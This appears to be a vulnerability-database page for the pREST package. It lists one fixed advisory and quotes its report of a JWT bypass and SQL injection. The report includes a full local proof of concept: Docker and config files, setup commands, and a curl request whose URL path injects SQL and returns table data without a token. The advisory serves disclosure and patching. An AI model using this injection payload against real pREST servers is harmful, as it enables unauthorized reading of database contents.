Vulnerabilities affecting this package (0)
| Vulnerability |
Summary |
Fixed by |
|
This package is not known to be affected by vulnerabilities.
|
Vulnerabilities fixed by this package (1)
| Vulnerability |
Summary |
Aliases |
|
VCID-c9jr-8fc6-vbcs
|
pREST vulnerable to jwt bypass + sql injection
### Summary
Probably jwt bypass + sql injection
or what i'm doing wrong?
### PoC (how to reproduce)
1. Create following files:
docker-compose.yml:
```
services:
postgres:
image: postgres
container_name: postgres_container_mre
environment:
POSTGRES_USER: test_user_pg
POSTGRES_PASSWORD: test_pass_pg
POSTGRES_DB: test_db
prest:
image: prest/prest
build: .
volumes:
- ./queries:/queries
- ./migrations:/migrations
ports:
- "3000:3000"
```
Dockerfile:
```
from prest/prest:latest
COPY ./prest.toml prest.toml
```
prest.toml:
```
debug=false
migrations = "./migrations"
[http]
port = 3000
[jwt]
default = true
key = "secret"
algo = "HS256"
[auth]
enabled = true
type = "body"
encrypt = "MD5"
table = "prest_users"
username = "username"
password = "password"
[pg]
URL = "postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable"
[ssl]
mode = "disable"
sslcert = "./PATH"
sslkey = "./PATH"
sslrootcert = "./PATH"
[expose]
enabled = true
databases = true
schemas = true
tables = true
[queries]
location = "/queries"
```
2. run commands:
```
mkdir -p migrations queries
docker compose up --build -d
```
wait for pg and prest, then run following to add test data to the pg:
```
export PGPASSWORD=test_pass_pg
docker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c "CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\
INSERT INTO public.some_table (id, secret_data) VALUES (1, 'some secret text') ON CONFLICT DO NOTHING;"
```
3. SQL injection even without jwt token:
```
curl --location '127.0.0.1:3000/test_db/public".some_table)%20s;--/auth'
```
output:
```
[{"id": 1, "secret_data": "some secret text"}]
```
|
GHSA-wm25-j4gw-6vr3
|